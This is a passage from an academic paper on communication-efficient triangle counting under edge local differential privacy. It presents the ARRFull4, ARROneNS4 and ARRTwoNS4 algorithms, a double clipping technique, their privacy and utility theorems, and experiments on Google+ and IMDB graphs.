it calculates a message Mi for vi. In the first algorithm, the
server selects noisy edges (v j,vk) such that one noisy edge
is connected from vk to vi; i.e., Mi = {(v j,vk) ∈ E ′|(vi,vk) ∈
E ′, j < k < i}. We call this algorithm ARROneNS4, as one
noisy edge is connected to vi. In the second algorithm, the
server selects noisy edges (v j,vk) such that two noisy edges
are connected from these nodes to vi; i.e., Mi = {(v j,vk) ∈
E ′|(vi,v j)∈E ′,(vi,vk)∈E ′, j < k< i}. We call this algorithm
ARRTwoNS4, as two noisy edges are connected to vi. Note
that user vi does not leak her original edges to the server at
the time of download in these algorithms, because the server
uses only noisy edges E ′ sent by users to calculate Mi.

Figure 3 shows our three algorithms. The download
cost CostDL in (3) is O(µn2 logn), O(µ2n2 logn), and
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Noisy edges between 
others ( and ) to DL

Figure 3: Noisy edges to download in our three algorithms.

noisy edgesoriginal edges

Original Graph

Figure 4: 4-cycle trick. ARRFull4 counts two (incorrect) noisy
triangles when one noisy edge appears. ARROneNS4 and
ARRTwoNS4 avoid this by increasing independent noise.

O(µ3n2 logn), respectively, when we regard ε as a constant.
In our experiments, we set the parameter µ in the ARR so that
µ in ARRFull4 is equal to µ2 in ARROneNS4 and also equal
to µ3 in ARRTwoNS4; e.g., µ = 10−6, 10−3, and 10−2 in AR-
RFull4, ARROneNS4, and ARRTwoNS4, respectively. Then
the download cost is the same between the three algorithms.

Figure 4 shows our 4-cycle trick. ARRFull4 counts two
(incorrect) noisy triangles when a noisy edge (v j, vk) appears.
In contrast, ARROneNS4 (resp. ARRTwoNS4) counts both
the two noisy triangles only when three (resp. five) indepen-
dent noisy edges appear, as shown in Figure 4. Thus, this bad
event happens with a much smaller probability. For example,
ARRFull4 (µ = 10−6), ARROneNS4 (µ = 10−3), and ARRT-
woNS4 (µ = 10−2) count both the two noisy triangles with
probability 10−6, 10−9, and 10−10, respectively. The covari-
ance Cov(Ei jk,Ei′ jk) of ARROneNS4 and ARRTwoNS4 is
also much smaller than that of ARRFull4.

In our experiments, we show that ARROneNS4 and ARRT-
woNS4 significantly outperforms ARRFull4 for a large-scale
graph or dense graph, in both of which the number of 4-cycles
in G is large.

ARROneNS4 vs. ARRTwoNS4. One might expect that AR-
RTwoNS4 outperforms ARROneNS4 because ARRTwoNS4
addresses the 4-cycle issue more aggressively; i.e., the number
of independent noisy edges in a 4-cycle is larger in ARRT-
woNS4, as shown in Figure 4. However, ARROneNS4 can
reduce the global sensitivity of the Laplacian noise at the sec-
ond round more effectively than ARRTwoNS4, as explained
in Section 5. Consequently, ARROneNS4, which is the most
tricky algorithm, achieves the smallest estimation error in our
experiments. See Sections 5 and 6 for details of the global
sensitivity and experiments, respectively.

Three Algorithms. Below we explain the details of our three
algorithms. For ease of explanation, we assume that the max-

Input: Graph G ∈ G represented as neighbor lists
a1, . . . ,an ∈ {0,1}n, privacy budgets
ε1,ε2 ∈ R≥0, dmax ∈ Z≥0, µ ∈ [0, eε1

eε1+1 ].
Output: Private estimate f̂4(G) of f4(G).

1 [s] ρ← e−ε1 ;
2 [vi, s] µ∗← µ, µ2, and µ3 in F, O, and T, respectively;
/* First round. */

3 for i = 1 to n do
4 [vi] ri← (ARRε1,µ(ai,1), . . . ,ARRε1,µ(ai,i−1));
5 [vi] Upload ri = (ri,1, . . . ,ri,i−1) to the server;
6 end
7 [s] E ′ = {(v j,vk) : rk, j = 1, j < k};
/* Second round. */

8 for i = 1 to n do
9 [s] Compute Mi by (7), (8), and (9) in F, O, and T,

respectively;
10 [vi] Download Mi from the server;
11 [vi] ti← |{(vi,v j,vk) : ai, j = ai,k = 1,(v j,vk) ∈

Mi, j < k < i}|;
12 [vi] si← |{(vi,v j,vk) : ai, j = ai,k = 1, j < k < i}|;
13 [vi] wi← ti−µ∗ρsi;
14 [vi] ŵi← wi +Lap( dmax

ε2
);

15 [vi] Upload ŵi to the server;
16 end
17 [s] f̂4(G)← 1

µ∗(1−ρ) ∑
n
i=1 ŵi;

18 return f̂4(G)

Algorithm 1: Our three algorithms. “F”, “O”, “T” are
shorthands for ARRFull4, ARROneNS4, and ARRT-
woNS4, respectively. [vi] and [s] represent that the
process is run by vi and the server, respectively.

imum degree dmax is public in Section 4.22. Note, however,
that our double clipping (which is proposed to significantly
reduce the global sensitivity) in Section 5 does not assume
that dmax is public. Consequently, our entire algorithms do
not require the assumption that dmax is public.

Recall that the server calculates a message Mi for vi as:

Mi={(v j,vk) ∈ E ′| j < k < i} (7)
Mi={(v j,vk) ∈ E ′|(vi,vk) ∈ E ′, j < k < i} (8)
Mi={(v j,vk) ∈ E ′|(vi,v j) ∈ E ′,(vi,vk) ∈ E ′, j < k < i} (9)

in ARRFull4, ARROneNS4, ARRTwoNS4, respectively.
Algorithm 1 shows our three algorithms. These algorithms

are processed differently in lines 2 and 9; “F”, “O”, “T” are
shorthands for ARRFull4, ARROneNS4, and ARRTwoNS4,

2For example, dmax is public in Facebook: dmax = 5000 [3]. If the server
does not have prior knowledge about dmax, she can privately estimate dmax
and use graph projection to guarantee that each user’s degree never exceeds
the private estimate of dmax [29]. In any case, the assumption in Section 4.2
does not undermine our algorithms, because our entire algorithms with double
clipping in Section 5 does not assume that dmax is public.
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respectively. The privacy budgets for the first and second
rounds are ε1,ε2 ∈ R≥0, respectively.

The first round appears in lines 3-7 of Algorithm 1. In this
round, each user applies ARRε1,µ defined by (5) and (6) to bits
ai,1, . . . ,ai,i−1 for smaller user IDs in her neighbor list ai, i.e.,
lower triangular part of A. Let ri =(ri,1, . . . ,ri,i−1)∈{0,1}i−1

be the obfuscated bits of vi. User vi uploads ri to the server.
Then the server combines the noisy edges together, forming
E ′ = {(v j,vk) : rk, j = 1, j < k}.

The second round appears in lines 8-17 of Algorithm 1.
In this round, the server computes a message Mi by (7), (8),
or (9), and user vi downloads it. Then user vi calculates the
number ti ∈ Z≥0 of noisy triangles (vi, v j, vk) such that only
one edge (v j, vk) is noisy, as shown in Figure 2. User vi also
calculate a corrective term si ∈ Z≥0. The corrective term si is
the number of possible triangles involving vi and is computed
to obtain an unbiased estimate of f4(G). User vi calculates
wi = ti−µ∗ρsi, where ρ = e−ε1 and µ∗ = µ, µ2, and µ3 in “F”,
“O”, and “T”, respectively. Then vi adds the Laplacian noise
Lap( dmax

ε2
) to wi to provide ε2-edge LDP and sends the noisy

value ŵi (= wi +Lap( dmax
ε2

)) to the server. Note that adding
one edge increases both ti and si by at most dmax. Thus, the
global sensitivity of wi is at most dmax. Finally, the server
calculates an estimate of f4(G) as: f̂4(G) = 1

µ∗(1−ρ) ∑
n
i=1 ŵi.

As we prove later, f̂4(G) is an unbiased estimate of f4(G).

4.3 Theoretical Analysis

We now introduce the theoretical guarantees on the privacy,
communication, and utility of our algorithms.

Privacy. We first show the privacy guarantees:

Theorem 1. For i ∈ [n], let R 1
i ,R 2

i (Mi) be the randomiz-
ers used by user vi in rounds 1 and 2 of Algorithm 1. Let
R i(ai) = (R 1

i (ai),R 2
i (Mi)(ai)) be the composition of the

two randomizers. Then, R i satisfies (ε1 + ε2)-edge LDP and
(R 1, . . . ,R n) satisfies (ε1 + ε2)-relationship DP.

Note that the doubling issue in Section 3.2 does not occur,
because we use only the lower triangular part of A. By the
immunity to post-processing, the estimate f̂4(G) also satisfies
(ε1 + ε2)-edge LDP and (ε1 + ε2)-relationship DP.

Communication. Recall that we evaluate the algorithms
based on their download cost (3) and upload cost (4).

Download Cost: The download cost is the number of bits
required to download Mi. Mi can be represented as a list of
edges between others, and each edge can be identified with
two indices (user IDs), i.e., 2 logn bits. There are (n−1)(n−2)

2 ≈
n2

2 edges between others. ARRε1,µ outputs 1 with probability
at most µ. In addition, each noisy triangle must have 1, 2, and
3 noisy edges in ARRFull4, ARROneNS4, and ARRTwoNS4,
respectively, as shown in Figure 3.

Thus, the download cost in Algorithm 1 can be written as:

CostDL ≤ µ∗n2 logn, (10)

where µ∗ = µ, µ2, and µ3 in ARRFull4, ARROneNS4, and
ARRTwoNS4, respectively. In (10), we upper-bounded CostDL
by using the fact that ARRε1,µ outputs 1 with probability at
most µ. However, when dmax � n, ARRε1,µ outputs 1 with
probability µe−ε1 in most cases. In that case, we can roughly
approximate CostDL by replacing µ with µe−ε1 in (10).

Upload Cost: The upload cost comes from the number of
bits required to upload R 1

i (ai) and R 2
i (Mi)(ai). Uploading

R 1
i (ai) involves uploading ri (line 5), which is a list of up

to n noisy neighbors. By sending just the indices (user IDs)
of the 1s in ri, each user sends ‖ri‖1 logn bits, where ‖ri‖1
is the number of 1s in ri. When we use ARRε1,µ, we have
E[‖ri‖1]≤ µn. Uploading R 2

i (Mi) involves uploading a sin-
gle real number ŵi (line 15), which is negligibly small (e.g.,
64 bits when we use a double-precision floating-point).

Thus, the upload cost in Algorithm 1 can be written as:

CostUL ≤ µn logn. (11)

Clearly, CostUL is much smaller than CostDL for large n.
Utility. Analyzing the expected l2 loss l2

2( f4(G), f̂4(G)) of
the algorithms involves first proving that the estimator f̂4 is
unbiased and then analyzing the variance V[ f̂4(G)] to obtain
an upper-bound on l2

2( f4(G), f̂4(G)). This is given in the
following:

Theorem 2. Let G ∈ G , ε1,ε2 ∈ R≥0, and µ ∈ [0, eε1
eε1+1 ]. Let

f̂ F
4(G), f̂ O

4(G), and f̂ T
4(G) be the estimates output respec-

tively by ARRFull4, ARROneNS4, and ARRTwoNS4 in Algo-
rithm 1. Then, E[ f̂ F

4(G)] = E[ f̂ O
4(G)] = E[ f̂ T

4(G)] = f4(G)
(i.e., estimates are unbiased) and

l2
2( f4(G), f̂ F

4(G))≤ 2C4(G)+S2(G)
µ(1−eε1 )2 + 2nd2

max
µ2(1−eε1 )2ε2

2

l2
2( f4(G), f̂ O

4(G))≤ µ(2C4(G)+6S3(G))+S2(G)
µ2(1−eε1 )2 + 2nd2

max
µ4(1−eε1 )2ε2

2

l2
2( f4(G), f̂ T

4(G))≤ µ2(2C4(G)+6S3(G))+S2(G)
µ3(1−eε1 )2 + 2nd2

max
µ6(1−eε1 )2ε2

2
,

where C4(G) is the number of 4-cycles in G and Sk(G) is the
number of k-stars in G.

For each of the three upper-bounds in Theorem 2, the first
and second terms are the estimation errors caused by empirical
estimation and the Laplacian noise, respectively. We also
note that C4(G) = S3(G) = O(nd3

max) and S2(G) = O(nd2
max).

Thus, for small µ, the l2 loss of empirical estimation can be
expressed as O(nd3

max), O(nd2
max), and O(nd2

max) in ARRFull4,
ARROneNS4, ARRTwoNS4, respectively (as the factors of
C4(G) and S3(G) diminish for small µ).

This highlights our 4-cycle trick. The large l2 loss of AR-
RFull4 is caused by the number C4(G) = O(nd3

max) of 4-
cycles. ARROneNS4 and ARRTwoNS4 addresses this issue
by increasing independent noise, as shown in Figure 4.
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5 Double Clipping

In Section 4, we showed that the estimation error caused
by empirical estimation (i.e., the first term in Theorem 2)
is significantly reduced by the 4-cycle trick. However, the
estimation error is still very large in our algorithms presented
in Section 4, as shown in our experiments. This is because the
estimation error by the Laplacian noise (i.e., the second term
in Theorem 2) is very large, especially for small ε2 or µ. This
error term is tight and unavoidable as long as we use dmax
as a global sensitivity, which suggests that we need a better
global sensitivity analysis. To significantly reduce the global
sensitivity, we propose a novel double clipping technique.

We describe the overview and details of our double clip-
ping in Sections 5.1 and 5.2, respectively. Then we perform
theoretical analysis in Section 5.3.

5.1 Overview
Motivation. Figure 5 shows noisy triangles involving edge
(vi,v j) counted by user vi in our three algorithms. Our al-
gorithms in Section 4 use the fact that the number of such
noisy triangles (hence the global sensitivity) is upper-bounded
by the maximum degree dmax because adding one edge in-
creases the triangle count by at most dmax. Unfortunately, this
upper-bound is too large, as shown in our experiments.

In this paper, we significantly reduce this upper-bound
by using the parameter µ in the ARR and user vi’s degree
di ∈ Z≥0 for users with smaller IDs. For example, the number
of noisy triangles involving (vi,v j) in ARRFull4is expected
to be around µdi because one noisy edge is included in each
noisy triangle (as shown in Figure 5) and all noisy edges are
independent. µdi is very small, especially when we set µ� 1
to reduce the communication cost.

However, we cannot directly use µdi as an upper-bound of
the global sensitivity in ARRFull4for two reasons. First, µdi
leaks the exact value of user vi’s degree di and violates edge
LDP. Second, the number of noisy triangles involving (vi,v j)
exceeds µdi with high probability (about 0.5). Thus, the noisy
triangle count cannot be upper-bounded by µdi.

To address these two issues, we propose a double clipping
technique, which is explained below.

Algorithm Overview. Figure 6 shows the overview of our
double clipping, which consists of an edge clipping and noisy
triangle clipping. The edge clipping addresses the first issue
(i.e., leakage of di) as follows. It privately computes a noisy
version of di (denoted by d̃i) with edge LDP. Then it removes
some neighbors from a neighbor list ai so that the degree of
vi never exceeds the noisy degree d̃i. This removal process is
also known as graph projection [23,24,37,50]. Edge clipping
is used in [29] to obtain a noisy version of dmax.

The main novelty in our double clipping lies at the noisy
triangle clipping to address the second issue (i.e., excess of
the noisy triangle count). This issue appears when we attempt

noisy edgesoriginal edges

Figure 5: Noisy triangles involving edge (vi,v j) counted by
user vi ( j < k, l,m < i).

(1) (2)

(1) edge clipping ( ) (2) noisy triangle clipping ( )

Figure 6: Overview of double clipping applied to edge (v1,v7).

to reduce the global sensitivity by using a very small sam-
pling probability for each edge. Therefore, the noisy triangle
clipping has not been studied in the existing works on private
triangle counting [24, 29, 36, 37, 56, 64, 65, 67], because they
do not apply a sampling technique.

Our noisy triangle clipping reduces the noisy triangle count
so that it never exceeds a user-dependent clipping threshold
κi ∈ R≥0. Then a crucial issue is how to set an appropriate
threshold κi. We theoretically analyze the probability that the
noisy triangle count exceeds κi (referred to as the triangle
excess probability) as a function of the ARR parameter µ and
the noisy degree d̃i. Then we set κi so that the triangle excess
probability is very small (= 10−6 in our experiments).

We use the clipping threshold κi as a global sensitivity.
Note that κi provides edge LDP because d̃i provides edge
LDP, i.e., immunity to post-processing [25]. κi is also very
small when µ� 1, as it is determined based on µ.

5.2 Algorithms
Algorithm 2 shows our double clipping algorithm. All the
processes are run by user vi at the second round. Thus, there
is no interaction with the server in Algorithm 2.

Edge Clipping. The edge clipping appears in lines 2-3 of
Algorithm 2. It uses a privacy budget ε0 ∈ R≥0.

In line 2, user vi adds the Laplacian noise Lap( 1
ε0
) to her

degree di. Since adding/removing one edge changes di by at
most 1, this process provides ε0-edge LDP. vi also adds some
non-negative constant α∈R≥0 to di. We add this value so that
edge removal (in line 3) occurs with a very small probability;
e.g., in our experiments, we set α = 150, where edge removal
occurs with probability 1.5×10−7 when ε0 = 0.1. A similar
technique is introduced in [56] to provide (ε,δ)-DP [25] with
small δ. The difference between ours and [56] is that we
perform edge clipping to always provide ε-DP; i.e., δ = 0. Let
d̃i ∈ R≥0 be the noisy degree of vi.
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Input: Neighbor list ai ∈ {0,1}n, privacy budget
ε0 ∈ R≥0 µ ∈ [0, eε1

eε1+1 ], α ∈ R≥0, β ∈ R≥0.
Output: ŵi.

1 µ∗← µ, µ2, and µ3 in F, O, and T, respectively;
/* Edge clipping. */

2 d̃i = max{di +Lap( 1
ε0
)+α, 0};

/* Remove di−bd̃ic neighbors if di > d̃i. */

3 ai← GraphProjection(ai, d̃i);
/* Noisy triangle clipping. */

4 for j such that ai, j = 1 and j < i do
5 ti, j← |{(vi,v j,vk) : ai,k = 1,(v j,vk) ∈Mi, j <

k < i}|;
6 end
/* Calculate κi ∈ [µ∗d̃i, d̃i] s.t. the triangle

excess probability is β or less. */

7 κi← ClippingThreshold(µ, d̃i,β);
8 ti← ∑ai, j=1, j<i min{ti, j,κi};
9 si← |{(vi,v j,vk) : ai, j = ai,k = 1, j < k < i}|;

10 wi← ti−µ∗ρsi;
11 ŵi← wi +Lap( κi

ε2
);

12 return ŵi

Algorithm 2: Our double clipping algorithm. “F”,
“O”, “T” are shorthands for ARRFull4, ARROneNS4,
and ARRTwoNS4, respectively. All the processes are
run by user vi.

In line 3, user vi calls the function GraphProjection,
which performs graph projection as follows; if di > d̃i, ran-
domly remove di − bd̃ic neighbors from ai; otherwise, do
nothing. Consequently, the degree of vi never exceeds d̃i.

Noisy Triangle Clipping. The noisy triangle clipping ap-
pears in lines 4-11 of Algorithm 2.

In lines 4-6, user vi calculates the number ti, j ∈Z≥0 of noisy
triangles (vi,v j,vk) ( j < k < i) involving (vi,v j) (as shown
in Figure 5). Note that the total number ti of noisy triangles
of vi can be expressed as: ti = ∑ai, j=1, j<i ti, j. In line 7, vi
calls the function ClippingThreshold, which calculates a
clipping threshold κi ∈ [µ∗d̃i, d̃i] (µ∗ = µ, µ2, and µ3 in “F”,
“O”, and “T”, respectively) based on the ARR parameter µ
and the noisy degree d̃i so that the triangle excess probability
does not exceed some constant β ∈ R≥0. We explain how to
calculate the triangle excess probability in Section 5.3. In
line 8, vi calculates the total number ti of noisy triangles by
summing up ti, j, with the exception that vi adds κi if ti, j > κi.
In other words, triangle removal occurs if ti, j > κi. Then, the
number of noisy triangles involving (vi,v j) never exceeds κi.

Lines 9-11 in Algorithm 2 are the same as lines 12-14 in
Algorithm 1, except that the global sensitivity in the former
(resp. latter) is κi (resp. dmax). Line 11 in Algorithm 2 pro-
vides ε2-edge LDP because the number of triangles involving
(vi,v j) is now upper-bounded by κi.

Our Entire Algorithms with Double Clipping. We can run
our algorithms ARRFull4, ARROneNS4, ARRTwoNS4 with
double clipping just by replacing lines 11-14 in Algorithm 1
with lines 2-11 in Algorithm 2. That is, after calculating ŵi
by Algorithm 2, vi uploads ŵi to the server. Then the server
calculates an estimate of f4(G) as f̂4(G) = 1

µ∗(1−ρ) ∑
n
i=1 ŵi.

We also note that the input dmax in Algorithm 1 is no longer
necessary thanks to the edge clipping; i.e., our entire algo-
rithms with double clipping do not assume that dmax is public.

5.3 Theoretical Analysis
We now perform a theoretical analysis on the privacy and
utility of our double clipping.
Privacy. We begin with the privacy guarantees:

Theorem 3. For i ∈ [n], let R 1
i ,R 2

i (Mi) be the randomiz-
ers used by user vi in rounds 1 and 2 of our algorithms
with double clipping (Algorithms 1 and 2). Let R i(ai) =
(R 1

i (ai),R 2
i (Mi)(ai)) be the composition of the two ran-

domizers. Then, R i satisfies (ε0 + ε1 + ε2)-edge LDP, and
(R 1, . . . ,R n) satisfies (ε0 + ε1 + ε2)-relationship DP.

Utility. Next, we show the triangle excess probability:

Theorem 4. In Algorithm 2, the triangle excess probability
(i.e., probability that the number of noisy triangles ti, j involv-
ing edge (vi,v j) exceeds a clipping threshold κi) is:

Pr(ti, j > κi)≤ exp
[
−d̃iD

(
κi
d̃i
‖ µ
)]

(12)

Pr(ti, j > κi)≤ exp
[
−d̃iD

(
κi
d̃i
‖ µ2

)]
(13)

Pr(ti, j > κi)≤ µexp
[
−d̃iD

(
max{κi,µ2d̃i}

d̃i
‖ µ2

)]
(14)

in ARRFull4, ARROneNS4, and ARRTwoNS4, respectively,
where D(p1 ‖ p2) is the Kullback-Leibler divergence between
two Bernoulli distributions; i.e.,

D(p1 ‖ p2) = p1 log p1
p2
+(1− p1) log 1−p1

1−p2
.

In all of (12), (13), and (14), we use the Chernoff bound,
which is known to be reasonably tight [10].
Setting κi. The function ClippingThreshold in Algo-
rithm 2 sets a clipping threshold κi of user vi based on The-
orem 4. Specifically, we set κi = λiµ∗d̃i, where λi ∈ N, and
calculate λi as follows. We initially set λi = 1 and keep in-
creasing λi by 1 until the upper-bound (i.e., right-hand side
of (12), (13), or (14)) is smaller than or equal to the triangle
excess probability β. In our experiments, we set β = 10−6.
Large κi of ARRTwoNS4. By (12) and (13), the upper-
bound on the triangle excess probability is the same be-
tween ARRFull4 and ARROneNS4. In contrast, ARRTwoNS4
has a larger upper-bound. For example, when κi = 15µ∗d̃i,
µ∗ = 10−3, and d̃i = 1000, the right-hand sides of (12), (13),
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ARRFull4 ARROneNS4 ARRTwoNS4
Privacy (ε0 + ε1 + ε2)-edge LDP and (ε0 + ε1 + ε2)-relationship DP

Expected l2 loss O
(

nd3
max

µ(1−e−ε1 )2 +
2∑

n
i=1 κ2

i
µ2(1−e−ε1 )2ε2

2

)
O
(

nd2
max

µ2(1−e−ε1 )2 +
2∑

n
i=1 κ2

i
µ4(1−e−ε1 )2ε2

2

)
O
(

nd2
max

µ3(1−e−ε1 )2 +
2∑

n
i=1 κ2

i
µ6(1−e−ε1 )2ε2

2

)
CostDL µn2 logn µ2n2 logn µ3n2 logn
CostUL µn logn µn logn µn logn

Table 1: Performance guarantees of our three algorithms with double clipping when the edge removal and triangle removal do
not occur. The expected l2 loss assumes that µ is small. The download (resp. upload) cost is an upper-bound in (10) (resp. (11)).

and (14) are 2.5× 10−12, 2.5× 10−12, and 3.3× 10−2, re-
spectively. Consequently, ARRTwoNS4 has a larger global
sensitivity κi for the same value of β.

We can explain a large global sensitivity κi of ARRTwoNS4
as follows. The number ti, j of noisy triangles involving (vi,v j)
in ARRFull4 is expected to be around µdi because one noisy
edge is in each noisy triangle (as in Figure 5) and all noisy
edges are independent. For the same reason, ti, j in ARRO-
neNS4 is expected to be around µ2di. However, ti, j in AR-
RTwoNS4 is not expected to be around µ3di, because all the
noisy triangles have noisy edge (vi,v j) in common (as in
Figure 5). Then, the expectation of ti, j largely depends on
the presence/absence of the noisy edge (vi,v j); i.e., if noisy
edge (vi,v j) exists, it is µ2di; otherwise, 0. Thus, κi cannot be
effectively reduced by double clipping.

Summary. The performance guarantees of our three algo-
rithms with double clipping can be summarized in Table 1.

The first and second terms of the expected l2 loss are the l2
loss of empirical estimation and that of the Laplacian noise,
respectively. For small µ, the l2 loss of empirical estimation
can be expressed as O(nd3

max), O(nd2
max), and O(nd2

max) in
ARRFull4, ARROneNS4, ARRTwoNS4, respectively, as ex-
plained in Section 4.3. The l2 loss of the Laplacian noise is
O(∑n

i=1 κ2
i ), which is much smaller than O(nd2

max). Thus, our
ARROneNS4 that effectively reduces κi provides the smallest
error, as shown in our experiments.

We also note that both the space and the time complexity
to compute and send Mi in our algorithms are O(µ∗n2) (as
|E ′|= O(µ∗n2)), which is much smaller than [29] (= O(n2)).

6 Experiments

To evaluate each component of our algorithms in Sections 4
and 5 as well as our entire algorithms (i.e., ARRFull4, AR-
ROneNS4, ARRTwoNS4with double clipping), we pose the
following three research questions:

RQ1. How do our three triangle counting algorithms (i.e.,
ARRFull4, ARROneNS4, ARRTwoNS4) in Section 4
compare with each other in terms of accuracy?

RQ2. How much does our double clipping technique in Sec-
tion 5 decrease the estimation error?

RQ3. How much do our entire algorithms reduce the commu-
nication cost, compared to the existing algorithm [29],
while keeping high utility (e.g., relative error� 1)?

In Appendix B, we also compare our entire algorithms with
one-round algorithms.

6.1 Experimental Set-up

In our experiments, we used two real graph datasets:

Gplus. The Google+ dataset [41] (denoted by Gplus) was
collected from users who had shared circles. From the dataset,
we constructed a social graph G = (V,E) with 107614 nodes
(users) and 12238285 edges, where edge (vi,v j) ∈ E rep-
resents that vi follows or is followed by v j. The average
(resp. maximum) degree in G is 113.7 (resp. 20127).

IMDB. The IMDB (Internet Movie Database) [2] (denoted by
IMDB) includes a bipartite graph between 896308 actors and
428440 movies. From this, we constructed a graph G = (V,E)
with 896308 nodes (actors) and 57064358 edges, where edge
(vi,v j) ∈ E represents that vi and v j have played in the same
movie. The average (resp. maximum) degree in G is 63.7
(resp. 15451). Thus, IMDB is more sparse than Gplus.

In the full version [30], we also evaluate our algorithms us-
ing a synthetic graph based on the Barabási-Albert model [11],
which has a power-law degree distribution.

We evaluated our algorithms while changing µ∗, where
µ∗ = µ, µ2, and µ3 in ARRFull4, ARROneNS4, and ARRT-
woNS4, respectively. CostDL is the same between the three
algorithms. We typically set the total privacy budget ε to
ε = 1 (at most 2) because it is acceptable in many practical
scenarios [39].

In our double clipping, we set α = 150 and β = 10−6 so
that both edge removal and triangle removal occur with a
very small probability (≤ 10−6 when ε0 = 0.1). Then for
each algorithm, we evaluated the relative error between the
true triangle count f4(G) and its estimate f̂4(G). Since the
estimate f̂4(G) varies depending on the randomness of LDP
mechanisms, we ran each algorithm τ ∈ N times (τ = 20 and
10 for Gplus and IMDB, respectively) and averaged the relative
error over the τ cases.
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Figure 7: Relative error of our three algorithms with double
clipping (“DC”) when ε = 1 or 2 and µ∗ = 10−3 (n = 107614
in Gplus, n = 896308 in IMDB).
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Figure 8: Relative error of our three algorithms with (“DC”)
or without (“dmax”) double clipping (n = 107614 in Gplus,
n = 896308 in IMDB). RRFull4(dmax) is the algorithm in [29].
CostDL is an upper-bound in (10). When µ∗ ≥ 0.1, CostDL can
be 6 Gbits and 400 Gbits in Gplus and IMDB, respectively, by
downloading only 0/1 for each pair of users (v j,vk).

6.2 Experimental Results

Performance Comparison. First, we evaluated our algo-
rithms with the Laplacian noise. Specifically, we evaluated
all possible combinations of our three algorithms with and
without our double clipping (six combinations in total) and
compared them with the existing two-rounds algorithm in [29].
For algorithms with double clipping, we divided the total pri-
vacy budget ε as: ε0 =

ε

10 and ε1 = ε2 =
9ε

20 . Here, we set a
very small budget (ε0 = ε

10 ) for edge clipping because the
degree has a small sensitivity (sensitivity= 1). For algorithms
without double clipping, we divided ε as ε1 = ε2 =

ε

2 and used
the maximum degree dmax as the global sensitivity.

Figures 7 and 8 show the results. Figure 7 highlights the rel-
ative error of our three algorithms with double clipping when

ε = 1 or 2 and µ∗ = 10−3. “DC” (resp. “dmax”) represents al-
gorithms with (resp. without) double clipping. RRFull4(dmax)
(marked with purple square) in Figure 8 (c) and (d) represents
the two-rounds algorithm in [29]. Note that this is a special
case of our ARRFull4 without sampling (µ = eε1

eε1+1 = 0.62).
Figure 8 (c) and (d) also show the download cost CostDL
calculated by (10). Note that when µ∗ ≥ 0.1 (marked with
squares), CostDL can be 6Gbits and 400Gbits in Gplus and
IMDB, respectively, by downloading only 0/1 for each pair of
users (v j,vk); CostDL = (n−1)(n−2)

2 in this case.
Figures 7 and 8 show that our ARROneNS4 (DC) provides

the best (or almost the best) performance in all cases. This
is because ARROneNS4 (DC) introduces the 4-cycle trick
and effectively reduces the global sensitivity of the Laplacian
noise by double clipping. Later, we will investigate the ef-
fectiveness of the 4-cycle trick in detail by not adding the
Laplacian noise. We will also investigate the impact of the
Laplacian noise while changing n.

Figure 8 also shows that the relative error is almost the
same between our three algorithms without double clipping
(“dmax”) and that it is too large. This is because Lap( dmax

ε2
)

is too large and dominant. The relative error is significantly
reduced by introducing our double clipping in all cases. For
example, when µ∗ = 10−3, our double clipping reduces the
relative error of ARROneNS4 by two or three orders of mag-
nitude. The improvement is larger for smaller µ∗.

In the full version [30], we also evaluate the effect of edge
clipping and noisy triangle clipping independently and show
that each component significantly reduces the relative error.

Communication Cost. From Figure 8 (c) and (d), we can
explain how much our algorithms can reduce the download
cost while keeping high utility, e.g., relative error� 1.

For example, when we use the algorithm in [29], the down-
load cost is CostDL = 400 Gbits in IMDB. Thus, when the
download speed is 20 Mbps (recommended speed in YouTube
[7]), every user vi needs 6 hours to download the message
Mi, which is far from practical. In contrast, our ARROneNS4
(DC) can reduce it to 160 Mbits (8 seconds when 20 Mbps
download rate) or less while keeping relative error = 0.21,
which is practical and a dramatic improvement over [29].

We also note that since dmax� n in IMDB, CostDL of our
ARROneNS4 (DC) can also be roughly approximated by 60
Mbits (3 seconds) by replacing µ with µe−ε1 in (10).

4-Cycle Trick. We also investigated the effectiveness of our
4-cycle trick in ARROneNS4 and ARRTwoNS4 in detail. To
this end, we evaluated our three algorithms when we did not
add the Laplacian noise at the second round. Note that they
do not provide edge LDP, as ε2 = ∞. The purpose here is to
purely investigate the effectiveness of the 4-cycle trick related
to our first research question RQ1.

Figure 9 shows the results, where ε1 and µ∗ are changed to
various values. Figure 9 shows that ARROneNS4 and ARRT-
woNS4 significantly outperform ARRFull4 when µ∗ is small.
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Figure 9: Relative error of our three algorithms without the
Laplacian noise (n = 107614 in Gplus, n = 896308 in IMDB).
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Figure 10: Relative error of our three algorithms with double
clipping for various values of n (ε = 1, µ∗ = 10−3).

This is because in both ARROneNS4 and ARRTwoNS4, the
factors of C4 (#4-cycles) and S3 (#3-stars) in the expected
l2 loss diminish for small µ, as explained in Section 4.3. In
other words, ARROneNS4 and ARRTwoNS4 effectively ad-
dress the 4-cycle issue. Figure 9 also shows that ARRTwoNS4
slightly outperforms ARROneNS4 when µ∗ is small. This is
because the factors of C4 and S3 diminish more rapidly; i.e.,
ARRTwoNS4 addresses the 4-cycle issue more aggressively.

However, when we add the Laplacian noise, ARRTwoNS4
(DC) is outperformed by ARROneNS4 (DC), as shown in
Figure 8. This is because ARRTwoNS4 cannot effectively
reduce the global sensitivity by double clipping. In Figure 8,
the difference between ARROneNS4 (DC) and ARRFull4
(DC) is also small for very small ε or µ∗ (e.g., ε = 0.1, µ∗ =
10−6) because the Laplacian noise is dominant in this case.

Changing nnn. We finally evaluated our three algorithms with
double clipping while changing the number n of users. In
both Gplus and IMDB, we randomly selected n users from all
users and extracted a graph with n users. Then we evaluated
the relative error while changing n to various values.

Figure 10 shows the results, where ε = 1 (ε0 = 0.1, ε1 =
ε2 = 0.45) and µ∗ = 10−3. In all three algorithms, the rela-
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Figure 11: Relative error of empirical estimation and the
Laplacian noise in our three algorithms with double clipping
(ε = 1, µ∗ = 10−3).
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tive error decreases with increase in n. This is because the
expected l2 loss can be expressed as O(nd3

max) or O(nd2
max) in

these algorithms as shown in Section 5.3 and the square of the
true triangle count can be expressed as Ω(n2). In other words,
when dmax� n, the relative error becomes smaller for larger n.
Figure 10 also shows that for small n, ARRTwoNS4 provides
the worst performance and ARROneNS4 performs almost the
same as ARRFull4. For large n, ARRFull4 performs the worst
and ARROneNS4 performs the best.

To investigate the reason for this, we decomposed the esti-
mation error into two components – the first error caused by
empirical estimation and the second error caused by the Lapla-
cian noise. Specifically, for each algorithm, we evaluated the
first error by calculating the relative error when we did not add
the Laplacian noise (ε1 = 0.45). Then we evaluated the sec-
ond error by subtracting the first error from the relative error
when we used double clipping (ε0 = 0.1, ε1 = ε2 = 0.45).

